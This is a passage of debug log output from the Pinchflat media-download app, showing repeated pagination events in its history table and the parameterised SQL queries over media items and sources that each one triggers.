livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 55] 20:51:54.987 [debug] QUERY OK source="sources" db=0.2ms idle=346.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:54.987 [debug] Replied in 3ms 20:51:55.775 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:55.776 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1133.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:55.778 [debug] QUERY OK source="media_items" db=1.1ms idle=791.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 60] 20:51:55.778 [debug] QUERY OK source="sources" db=0.3ms idle=791.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:55.778 [debug] Replied in 3ms 20:51:56.262 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:56.263 [debug] QUERY OK source="media_items" db=0.6ms idle=795.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:56.264 [debug] QUERY OK source="media_items" db=1.1ms idle=486.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 65] 20:51:56.265 [debug] QUERY OK source="sources" db=0.2ms idle=487.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:56.265 [debug] Replied in 3ms 20:51:56.647 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:56.648 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=590.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:56.650 [debug] QUERY OK source="media_items" db=1.1ms idle=385.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 70] 20:51:56.650 [debug] QUERY OK source="sources" db=0.4ms idle=385.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:56.651 [debug] Replied in 3ms 20:51:56.907 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:56.908 [debug] QUERY OK source="media_items" db=0.7ms idle=641.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:56.909 [debug] QUERY OK source="media_items" db=1.2ms idle=439.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 75] 20:51:56.910 [debug] QUERY OK source="sources" db=0.4ms idle=261.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:56.910 [debug] Replied in 3ms 20:51:57.099 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:57.100 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=449.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:57.101 [debug] QUERY OK source="media_items" db=1.1ms idle=449.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 80] 20:51:57.102 [debug] QUERY OK source="sources" db=0.3ms idle=193.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:57.102 [debug] Replied in 3ms 20:51:57.306 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:57.307 [debug] QUERY OK source="media_items" db=0.6ms idle=397.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:57.309 [debug] QUERY OK source="media_items" db=1.1ms idle=397.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 85] 20:51:57.310 [debug] QUERY OK source="sources" db=0.2ms idle=209.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:57.310 [debug] Replied in 3ms 20:51:57.528 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:57.529 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=426.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:57.531 [debug] QUERY OK source="media_items" db=1.1ms idle=221.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 90] 20:51:57.531 [debug] QUERY OK source="sources" db=0.2ms idle=221.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:51:57.531 [debug] Replied in 3ms 20:51:57.709 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 20:51:57.711 [debug] QUERY OK source="media_items" db=0.6ms idle=399.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:51:57.712 [debug] QUERY OK source="media_items" db=1.2ms idle=240.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN 